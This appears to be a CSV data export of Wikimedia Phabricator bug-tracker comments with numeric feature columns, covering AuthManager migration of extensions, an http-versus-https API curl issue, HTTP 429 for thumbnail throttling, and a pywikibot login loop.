The 'AbortLogin' and 'UserLoadFromSession' hooks are both deprecated. You probably want a SessionProvider similar to the one used by the OAuth extension, and maybe a SecondaryAuthenticationProvider to reject the login if that turns out to still be necessary.",Needs Triage,90.0,1440643208,1677497681.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-j7jwnj5chzo76nqqvgqc,False,PHID-TASK-btpyxkhd7frm5u6f2clq,task_description,declined,True,c3,3,True,False,False,8,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,12.0,4.0,17.0,2.0,6.0,15.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,2.0,12.0,8.0,0.0,8.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.903846153846154,0.7692307692307693,"See parent task and T110414#1578206.

The 'AbortLogin' and 'UserLoadFromSession' hooks are both deprecated. You probably want a SessionProvider similar to the one used by the OAuth extension, and maybe a SecondaryAuthenticationProvider to reject the login if that turns out to still be necessary."
2076610,Update SSLClientAuthentication to use AuthManager,Per {T330039}.,,,1677497681,,PHID-USER-j7jwnj5chzo76nqqvgqc,False,,,PHID-TASK-btpyxkhd7frm5u6f2clq,task_subcomment,,True,c3,3,True,,,399,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6,1.0,Per {T330039}.
1105590,Update SSLClientAuthentication to use AuthManager,"Change 446357 **merged** by jenkins-bot:
[integration/config@master] Disable test for ext not supporting AuthManager

[[https://gerrit.wikimedia.org/r/446357]]",,,1531844905,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-btpyxkhd7frm5u6f2clq,task_subcomment,,True,c3,3,False,,,158,True,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,16.0,3.903225806451613,0.7741935483870968,"Change 446357 **merged** by jenkins-bot:
[integration/config@master] Disable test for ext not supporting AuthManager

[[GERRIT_URL]]"
1105584,Update SSLClientAuthentication to use AuthManager,"Change 446357 had a related patch set uploaded (by Hashar; owner: Hashar):
[integration/config@master] Disable test for ext not supporting AuthManager

[[https://gerrit.wikimedia.org/r/446357]]",,,1531844722,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-btpyxkhd7frm5u6f2clq,task_subcomment,,True,c3,3,False,,,158,True,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,14.0,4.228571428571429,0.8571428571428571,"Change 446357 had a related patch set uploaded (by Hashar; owner: Hashar):
[integration/config@master] Disable test for ext not supporting AuthManager

[[GERRIT_URL]]"
110299,Update AjaxLogin to use AuthManager,Needs to be redone to be based on the APIs provided by MediaWiki core instead of reinventing everything in its own API module. The existing code will not continue to reliably work with AuthManager.,Needs Triage,90.0,1440571935,1499175625.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-mlp7cjyksjzemkdr5ued,False,PHID-TASK-ze2n7oviiqce2yyn7775,task_description,declined,True,c3,3,True,False,False,7,True,0.0,3.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,22.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,6.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.0,22.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.555555555555555,0.8888888888888888,Needs to be redone to be based on the APIs provided by MediaWiki core instead of reinventing everything in its own API module. The existing code will not continue to reliably work with AuthManager.
887136,Update AjaxLogin to use AuthManager,"@ashley It will be cool if you could update the extension's pages accordingly. I know that's painful but that's where users land in the first place. [[ https://www.mediawiki.org/w/index.php?title=Extension%3AAjaxLogin&type=revision&diff=2507168&oldid=2314315 | Done now as a service. ]] Anyways, thanks for dealing with this task and giving the status update.",,,1499178622,,PHID-USER-37d2msujvpp2rippbzoq,False,,,PHID-TASK-ze2n7oviiqce2yyn7775,task_subcomment,,True,c3,3,False,,,104,True,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,21.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,2.0,11.0,4.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,4.0,3.754385964912281,0.8070175438596491,"SCREEN_NAME It will be cool if you could update the extension's pages accordingly. I know that's painful but that's where users land in the first place. [[ URL | Done now as a service. ]] Anyways, thanks for dealing with this task and giving the status update."
887135,Update AjaxLogin to use AuthManager,"@ashley It will be cool if you could update the extension's pages accordingly. I know that's painful but that's where users land in the first place. [[ https://www.mediawiki.org/w/index.php?title=Extension%3AAjaxLogin&type=revision&diff=2507168&oldid=2314315 | Done now as a service. ]]. Anyways, thanks for dealing with this task and giving the status update.",,,1499178610,,PHID-USER-37d2msujvpp2rippbzoq,False,,,PHID-TASK-ze2n7oviiqce2yyn7775,task_subcomment,,True,c3,3,False,,,104,True,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,21.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,2.0,10.0,3.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,3.0,0.0,0.0,3.0,3.706896551724138,0.7931034482758621,"SCREEN_NAME It will be cool if you could update the extension's pages accordingly. I know that's painful but that's where users land in the first place. [[ URL | Done now as a service. ]]. Anyways, thanks for dealing with this task and giving the status update."
887092,Update AjaxLogin to use AuthManager,"Given the existence of Florian's awesome [[https://www.mediawiki.org/wiki/Extension:OOJsUIAjaxLogin|OOJsUIAjaxLogin extension]], which actually works, looks modern and isn't a horrible pile of hacks on top of hacks, I'm going to say that AjaxLogin is deprecated in favor of OOJsUIAjaxLogin and thus I'm declining this task.",,,1499175625,,PHID-USER-mlp7cjyksjzemkdr5ued,False,,,PHID-TASK-ze2n7oviiqce2yyn7775,task_subcomment,,True,c3,3,True,,,104,True,0.0,0.0,0.0,2.0,2.0,6.0,2.0,0.0,0.0,0.0,4.0,6.0,0.0,0.0,0.0,4.0,0.0,6.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,13.0,2.0,4.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,15.0,6.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,4.0,3.9444444444444446,0.7777777777777778,"Given the existence of Florian's awesome [[URL extension]], which actually works, looks modern and isn't a horrible pile of hacks on top of hacks, I'm going to say that AjaxLogin is deprecated in favor of OOJsUIAjaxLogin and thus I'm declining this task."
110167,Calling the API with curl returns empty contents when using http,"The following PHP code used to work:

    $ch = curl_init(""http://he.wikisource.org/w/api.php"");
    curl_setopt($ch, CURLOPT_HTTPGET, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_USERAGENT, 'ErelBot/1.0 (erelsgl@gmail.com)');
    $result = curl_exec($ch);
    print ""<p>---$result---</p>\n"";

But not it doesn't work - the returned ""$result"" is empty.

What happened?",Needs Triage,90.0,1440492671,1440505174.0,PHID-USER-ivje4tbnwmmgjxowbqby,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-e2ve4b5jhebeimslgby5,task_description,invalid,True,c3,3,False,False,True,7,True,0.0,0.0,0.0,0.0,3.0,5.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,10.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,0.0,1.0,1.0,9.0,1.0,8.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,4.51948051948052,0.6103896103896104,"The following PHP code used to work:

    $ch = curl_init(""URL
    curl_setopt($ch, CURLOPT_HTTPGET, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_USERAGENT, 'ErelBot/1.0 (erelsgl@gmail.com)');
    $result = curl_exec($ch);
    print ""<p>---$result---</p>\n"";

But not it doesn't work - the returned ""$result"" is empty.

What happened?"
514114,Calling the API with curl returns empty contents when using http,That was it. Thanks!!,,,1440504879,,PHID-USER-ivje4tbnwmmgjxowbqby,False,,,PHID-TASK-e2ve4b5jhebeimslgby5,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,0.0,0.0,14.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5714285714285716,0.8571428571428571,That was it. Thanks!!
514106,Calling the API with curl returns empty contents when using http,I think you need to use https instead of http.,,,1440504185,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-e2ve4b5jhebeimslgby5,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,18.0,18.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3636363636363638,1.0,I think you need to use https instead of http.
110109,Thumbnail render throttling should not result in HTTP 500,"`thumb.php` throttles thumbnail rendering in various ways, and it returns a HTTP 500 if a request was refused due to throttling. That is wrong and causes false alarms; a 4xx status code should be used (probably HTTP 429 Too Many Requests).

There are multiple places where this needs to be fixed:
* when `User::pingLimiter` returns false
* when the `attempt-failures` memcached key hits the limit
* when PoolCounter refuses to take the job (can that happen?)",Needs Triage,90.0,1440449935,1440627893.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-TASK-tsna5tqdourvyes6rfrj,task_description,resolved,True,c3,3,True,True,True,7,True,1.0,0.0,0.0,3.0,0.0,8.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,7.0,7.0,0.0,2.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,1.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,6.0,12.0,6.0,2.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,1.0,7.0,4.0,1.0,0.0,0.0,1.0,0.0,4.0,3.0,0.0,1.0,0.0,0.0,0.0,3.9,0.7555555555555555,"CODE throttles thumbnail rendering in various ways, and it returns a HTTP 500 if a request was refused due to throttling. That is wrong and causes false alarms; a 4xx status code should be used (probably HTTP 429 Too Many Requests).

There are multiple places where this needs to be fixed:
* when CODE returns false
* when the CODE memcached key hits the limit
* when PoolCounter refuses to take the job (can that happen?)"
515359,Thumbnail render throttling should not result in HTTP 500,"Change 234152 merged by jenkins-bot:
Return HTTP 429 when thumbnailing is throttled due to too many errors

[[https://gerrit.wikimedia.org/r/234152]]",,,1440627355,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tsna5tqdourvyes6rfrj,task_subcomment,,True,c3,3,False,,,7,True,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,11.0,3.962962962962963,0.9259259259259259,"Change 234152 merged by jenkins-bot:
Return HTTP 429 when thumbnailing is throttled due to too many errors

[[GERRIT_URL]]"
515335,Thumbnail render throttling should not result in HTTP 500,"Change 234152 had a related patch set uploaded (by Gergő Tisza):
Return HTTP 429 when thumbnailing is throttled due to too many errors

[[https://gerrit.wikimedia.org/r/234152]]
",,,1440624870,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tsna5tqdourvyes6rfrj,task_subcomment,,True,c3,3,False,,,7,True,3.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,18.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,9.0,3.9393939393939394,0.9090909090909091,"Change 234152 had a related patch set uploaded (by Gergő Tisza):
Return HTTP 429 when thumbnailing is throttled due to too many errors

[[GERRIT_URL]]
"
515263,Thumbnail render throttling should not result in HTTP 500,"Change 234039 merged by jenkins-bot:
Reduced some instances of HTTP 500 in thumb.php

[[https://gerrit.wikimedia.org/r/234039]]",,,1440619651,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tsna5tqdourvyes6rfrj,task_subcomment,,True,c3,3,False,,,7,True,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.869565217391304,0.9130434782608695,"Change 234039 merged by jenkins-bot:
Reduced some instances of HTTP 500 in thumb.php

[[GERRIT_URL]]"
515174,Thumbnail render throttling should not result in HTTP 500,"Change 234039 had a related patch set uploaded (by Aaron Schulz):
Reduced some instances of HTTP 500 in thumb.php

[[https://gerrit.wikimedia.org/r/234039]]
",,,1440615166,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tsna5tqdourvyes6rfrj,task_subcomment,,True,c3,3,False,,,7,True,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,14.0,3.896551724137931,0.896551724137931,"Change 234039 had a related patch set uploaded (by Aaron Schulz):
Reduced some instances of HTTP 500 in thumb.php

[[GERRIT_URL]]
"
109215,Login with pywikibot loops on toollabs,"When logging in to pywikibot on toollabs, I am getting a looping login, and it is new (for me) in the past couple of days

  tools.wikisource-bot@tools-bastion-01:~$ python pwb.py login -user:wikisource-bot -debug -verbose
  The base directory is /data/project/wikisource-bot/.pywikibot
  Pywikibot rb1d2cc30c317fed7cfb8db4cc70c04f8913eb94b
  Python 2.7.6 (default, Jun 22 2015, 17:58:13)
  [GCC 4.8.2]
  Found 1 wikisource:en processes running, including this one.
  Password for user Wikisource-bot on wikisource:en (no characters will be shown):
  Logging in to wikisource:en as Wikisource-bot
  Should be logged in now
  Password for user Wikisource-bot on wikisource:en (no characters will be shown):
  ...

It is not a failed password error as that spits out a failed password error.


Version gives me ...

  tools.wikisource-bot@tools-bastion-01:~$ python pwb.py version -user:wikisource-bot
  Pywikibot: [https] r-pywikibot-core.git (e7e56d5, g3, 2015/08/15, 21:49:51, OUTDATED)
  Release version: 2.0b3
  requests version: 2.2.1
   cacerts: /etc/ssl/certs/ca-certificates.crt
     certificate test: ok
  Python: 2.7.6 (default, Jun 22 2015, 17:58:13)
  [GCC 4.8.2]
  PYWIKIBOT2_DIR: /data/project/wikisource-bot/.pywikibot
  PYWIKIBOT2_DIR_PWB:
  PYWIKIBOT2_NO_USER_CONFIG: Not set
  Config base dir: /data/project/wikisource-bot/.pywikibot
  Usernames for family ""wikisource"":
         el: wikisource-bot (no sysop configured)
  ...

",Needs Triage,90.0,1439725805,1440717376.0,PHID-USER-bmenasgfntvftznu6wxs,False,PHID-USER-7fndkemmavweiht5ybfd,False,PHID-TASK-xnhb27tqs265iaz7cbp3,task_description,duplicate,True,c3,3,False,False,True,6,True,0.0,0.0,0.0,1.0,0.6666666666666666,1.0,0.6666666666666666,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.3333333333333333,6.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,2.6666666666666665,1.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,1.0,0.0,0.3333333333333333,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,17.666666666666668,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,2.3333333333333335,9.666666666666666,0.3333333333333333,0.3333333333333333,3.3333333333333335,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,5.0,0.0,1.6666666666666667,6.0,10.666666666666666,0.0,0.6666666666666666,0.0,1.6666666666666667,0.0,0.3333333333333333,1.0,0.6666666666666666,2.0,0.0,0.0,3.6666666666666665,4.4323507180650035,0.648457362743077,"When logging in to pywikibot on toollabs, I am getting a looping login, and it is new (for me) in the past couple of days

  tools.wikisource-bot@tools-bastion-01:~$ python pwb.py login -user:wikisource-bot -debug -verbose
  The base directory is /data/project/wikisource-bot/.pywikibot
  Pywikibot rb1d2cc30c317fed7cfb8db4cc70c04f8913eb94b
  Python 2.7.6 (default, Jun 22 2015, 17:58:13)
  [GCC 4.8.2]
  Found 1 wikisource:en processes running, including this one.
  Password for user Wikisource-bot on wikisource:en (no characters will be shown):
  Logging in to wikisource:en as Wikisource-bot
  Should be logged in now
  Password for user Wikisource-bot on wikisource:en (no characters will be shown):
  ...

It is not a failed password error as that spits out a failed password error.


Version gives me ...

  tools.wikisource-bot@tools-bastion-01:~$ python pwb.py version -user:wikisource-bot
  Pywikibot: [https] r-pywikibot-core.git (e7e56d5, g3, 2015/08/15, 21:49:51, OUTDATED)
  Release version: 2.0b3
  requests version: 2.2.1
   cacerts: /etc/ssl/certs/ca-certificates.crt
     certificate test: ok
  Python: 2.7.6 (default, Jun 22 2015, 17:58:13)
  [GCC 4.8.2]
  PYWIKIBOT2_DIR: /data/project/wikisource-bot/.pywikibot
  PYWIKIBOT2_DIR_PWB:
  PYWIKIBOT2_NO_USER_CONFIG: Not set
  Config base dir: /data/project/wikisource-bot/.pywikibot
  Usernames for family ""wikisource"":
         el: wikisource-bot (no sysop configured)
  ...

"
516327,Login with pywikibot loops on toollabs,Okay it really seems that T110354 does fix it. Unfortunately I haven't backed up the cookie file from before so I could not verify that it's broken again when I undo the fix. Anyway I close it for now and wait if others experience that problem again.,,,1440717511,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-xnhb27tqs265iaz7cbp3,task_subcomment,,True,c3,3,True,,,8,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,21.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,13.0,0.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,8.0,2.0,6.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,15.0,12.0,2.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.923076923076923,0.75,Okay it really seems that T110354 does fix it. Unfortunately I haven't backed up the cookie file from before so I could not verify that it's broken again when I undo the fix. Anyway I close it for now and wait if others experience that problem again.
516318,Login with pywikibot loops on toollabs,I'm using https://gerrit.wikimedia.org/r/#/c/195100/8 which does not include the patch. But I haven't changed my cookie file at all and it happened out of the blue. And I'm a bit scared that switching branches might hide the problem again but I'll try implementing that on my own.,,,1440717053,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-xnhb27tqs265iaz7cbp3,task_subcomment,,True,c3,3,True,,,8,True,2.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,11.0,2.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,13.0,2.0,8.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,2.0,0.0,6.0,0.0,0.0,0.0,3.6792452830188678,0.8113207547169812,I'm using URL which does not include the patch. But I haven't changed my cookie file at all and it happened out of the blue. And I'm a bit scared that switching branches might hide the problem again but I'll try implementing that on my own.
516314,Login with pywikibot loops on toollabs,"I'm wondering if this might be caused by {T110354}.
@xzise, did you reproduce it on a version prior to that fix?",,,1440716848,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-xnhb27tqs265iaz7cbp3,task_subcomment,,True,c3,3,True,,,8,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,12.0,17.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.041666666666667,1.0,"I'm wondering if this might be caused by {T110354}.SCREEN_NAME, did you reproduce it on a version prior to that fix?"
